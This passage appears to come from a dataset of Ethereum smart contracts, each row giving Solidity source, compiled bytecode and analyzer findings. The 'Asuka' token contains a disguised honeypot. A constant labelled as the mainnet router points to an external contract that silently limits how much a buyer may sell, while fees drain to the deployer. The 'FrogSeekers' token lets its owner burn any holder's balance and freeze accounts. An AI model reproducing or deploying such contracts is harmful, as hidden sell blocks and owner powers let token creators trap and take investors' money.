8611dc5565b9050600061201182611fbe8686611e1e565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201c42358f63fb85cd3a9fe387a01a002e69505455d1a2718085d1feed41f68ef864736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,167 |
0x021e716693dfaca8ea162f7106e42abb8afded6a | /**
*Submitted for verification at Etherscan.io on 2021-11-22
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/asukatoken
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="ASUKA";
string constant TOKEN_NAME="Asuka";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract Asuka is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102905780639e752b95146102be578063a9059cbb146102de578063dd62ed3e146102fe578063f42938901461034457600080fd5b806356d9dce81461021e57806370a0823114610233578063715018a6146102535780638da5cb5b1461026857600080fd5b8063293230b8116100d1578063293230b8146101c1578063313ce567146101d85780633e07ce5b146101f457806351bc3c851461020957600080fd5b806306fdde031461010e578063095ea7b31461014e57806318160ddd1461017e57806323b872dd146101a157600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260058152644173756b6160d81b60208201525b60405161014591906114f0565b60405180910390f35b34801561015a57600080fd5b5061016e61016936600461155a565b610359565b6040519015158152602001610145565b34801561018a57600080fd5b50610193610370565b604051908152602001610145565b3480156101ad57600080fd5b5061016e6101bc366004611586565b610391565b3480156101cd57600080fd5b506101d66103fa565b005b3480156101e457600080fd5b5060405160068152602001610145565b34801561020057600080fd5b506101d6610772565b34801561021557600080fd5b506101d66107a8565b34801561022a57600080fd5b506101d66107d5565b34801561023f57600080fd5b5061019361024e3660046115c7565b610856565b34801561025f57600080fd5b506101d6610878565b34801561027457600080fd5b506000546040516001600160a01b039091168152602001610145565b34801561029c57600080fd5b506040805180820190915260058152644153554b4160d81b6020820152610138565b3480156102ca57600080fd5b506101d66102d93660046115e4565b61091c565b3480156102ea57600080fd5b5061016e6102f936600461155a565b610945565b34801561030a57600080fd5b506101936103193660046115fd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035057600080fd5b506101d6610952565b60006103663384846109bc565b5060015b92915050565b600061037e6006600a611730565b61038c906305f5e10061173f565b905090565b600061039e848484610ae0565b6103f084336103eb856040518060600160405280602881526020016118bd602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e1c565b6109bc565b5060019392505050565b6009546001600160a01b0316331461041157600080fd5b600c54600160a01b900460ff16156104705760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049c9030906001600160a01b031661048e6006600a611730565b6103eb906305f5e10061173f565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610513919061175e565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610575573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610599919061175e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060a919061175e565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063a81610856565b60008061064f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106dc919061177b565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f91906117a9565b50565b6009546001600160a01b0316331461078957600080fd5b6107956006600a611730565b6107a3906305f5e10061173f565b600a55565b6009546001600160a01b031633146107bf57600080fd5b60006107ca30610856565b905061076f81610e56565b6009546001600160a01b031633146107ec57600080fd5b600c54600160a01b900460ff166108455760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610467565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036a90610fd0565b6000546001600160a01b031633146108d25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610467565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093357600080fd5b6009811061094057600080fd5b600855565b6000610366338484610ae0565b6009546001600160a01b0316331461096957600080fd5b4761076f8161104d565b60006109b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108b565b9392505050565b6001600160a01b038316610a1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610467565b6001600160a01b038216610a7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610467565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610467565b6001600160a01b038216610ba65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610467565b60008111610c085760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610467565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7b91906117cb565b600c546001600160a01b038481169116148015610ca65750600b546001600160a01b03858116911614155b610cb1576000610cb3565b815b1115610cbe57600080fd5b6000546001600160a01b03848116911614801590610cea57506000546001600160a01b03838116911614155b15610e0c57600c546001600160a01b038481169116148015610d1a5750600b546001600160a01b03838116911614155b8015610d3f57506001600160a01b03821660009081526004602052604090205460ff16155b15610d9557600a548110610d955760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610467565b6000610da030610856565b600c54909150600160a81b900460ff16158015610dcb5750600c546001600160a01b03858116911614155b8015610de05750600c54600160b01b900460ff165b15610e0a57610dee81610e56565b47670de0b6b3a7640000811115610e0857610e084761104d565b505b505b610e178383836110b9565b505050565b60008184841115610e405760405162461bcd60e51b815260040161046791906114f0565b506000610e4d84866117e4565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9e57610e9e6117fb565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b919061175e565b81600181518110610f2e57610f2e6117fb565b6001600160a01b039283166020918202929092010152600b54610f5491309116846109bc565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8d908590600090869030904290600401611811565b600060405180830381600087803b158015610fa757600080fd5b505af1158015610fbb573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110375760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610467565b60006110416110c4565b90506109b58382610973565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611087573d6000803e3d6000fd5b5050565b600081836110ac5760405162461bcd60e51b815260040161046791906114f0565b506000610e4d8486611882565b610e178383836110e7565b60008060006110d16111de565b90925090506110e08282610973565b9250505090565b6000806000806000806110f987611260565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112b90876112bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115a90866112ff565b6001600160a01b03891660009081526002602052604090205561117c8161135e565b61118684836113a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111cb91815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f36006600a611730565b611201906305f5e10061173f565b90506112296112126006600a611730565b611220906305f5e10061173f565b60055490610973565b8210156112575760055461123f6006600a611730565b61124d906305f5e10061173f565b9350935050509091565b90939092509050565b600080600080600080600080600061127d8a6007546008546113cc565b925092509250600061128d6110c4565b905060008060006112a08e878787611421565b919e509c509a509598509396509194505050505091939550919395565b60006109b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1c565b60008061130c83856118a4565b9050838110156109b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610467565b60006113686110c4565b905060006113768383611471565b3060009081526002602052604090205490915061139390826112ff565b30600090815260026020526040902055505050565b6005546113b590836112bd565b6005556006546113c590826112ff565b6006555050565b60008080806113e660646113e08989611471565b90610973565b905060006113f960646113e08a89611471565b905060006114118261140b8b866112bd565b906112bd565b9992985090965090945050505050565b60008080806114308886611471565b9050600061143e8887611471565b9050600061144c8888611471565b9050600061145e8261140b86866112bd565b939b939a50919850919650505050505050565b6000826114805750600061036a565b600061148c838561173f565b9050826114998583611882565b146109b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610467565b600060208083528351808285015260005b8181101561151d57858101830151858201604001528201611501565b8181111561152f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461076f57600080fd5b6000806040838503121561156d57600080fd5b823561157881611545565b946020939093013593505050565b60008060006060848603121561159b57600080fd5b83356115a681611545565b925060208401356115b681611545565b929592945050506040919091013590565b6000602082840312156115d957600080fd5b81356109b581611545565b6000602082840312156115f657600080fd5b5035919050565b6000806040838503121561161057600080fd5b823561161b81611545565b9150602083013561162b81611545565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168757816000190482111561166d5761166d611636565b8085161561167a57918102915b93841c9390800290611651565b509250929050565b60008261169e5750600161036a565b816116ab5750600061036a565b81600181146116c157600281146116cb576116e7565b600191505061036a565b60ff8411156116dc576116dc611636565b50506001821b61036a565b5060208310610133831016604e8410600b841016171561170a575081810a61036a565b611714838361164c565b806000190482111561172857611728611636565b029392505050565b60006109b560ff84168361168f565b600081600019048311821515161561175957611759611636565b500290565b60006020828403121561177057600080fd5b81516109b581611545565b60008060006060848603121561179057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117bb57600080fd5b815180151581146109b557600080fd5b6000602082840312156117dd57600080fd5b5051919050565b6000828210156117f6576117f6611636565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118615784516001600160a01b03168352938301939183019160010161183c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261189f57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118b7576118b7611636565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220757896a25bcbb87018896b7a57a1310763b17f51d0802d3f7f4731a695e8158064736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,168 |
0x6b5d69ef0f14ae4a96f6ba31a72b9a07ec1cd74e | pragma solidity >=0.4.22 <0.6.0;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenERC20 is owned{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(msg.sender == owner); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract FrogSeekers is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | 0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cd57806323b872dd146101f4578063313ce5671461021e57806342966c68146102495780634b7503341461026157806370a082311461027657806379c650681461029757806379cc6790146102bd5780638620410b146102e15780638da5cb5b146102f657806395d89b4114610327578063a9059cbb1461033c578063b414d4b614610360578063cae9ca5114610381578063dd62ed3e146103ea578063e724529c14610411578063f2fde38b14610437575b600080fd5b34801561011757600080fd5b50610120610458565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015a578181015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b506101b9600160a060020a03600435166024356104e5565b604080519115158252519081900360200190f35b3480156101d957600080fd5b506101e261054b565b60408051918252519081900360200190f35b34801561020057600080fd5b506101b9600160a060020a0360043581169060243516604435610551565b34801561022a57600080fd5b506102336105c0565b6040805160ff9092168252519081900360200190f35b34801561025557600080fd5b506101b96004356105c9565b34801561026d57600080fd5b506101e2610641565b34801561028257600080fd5b506101e2600160a060020a0360043516610647565b3480156102a357600080fd5b506102bb600160a060020a0360043516602435610659565b005b3480156102c957600080fd5b506101b9600160a060020a036004351660243561070f565b3480156102ed57600080fd5b506101e26107c7565b34801561030257600080fd5b5061030b6107cd565b60408051600160a060020a039092168252519081900360200190f35b34801561033357600080fd5b506101206107dc565b34801561034857600080fd5b506101b9600160a060020a0360043516602435610834565b34801561036c57600080fd5b506101b9600160a060020a036004351661084a565b34801561038d57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101b9948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061085f9650505050505050565b3480156103f657600080fd5b506101e2600160a060020a0360043581169060243516610978565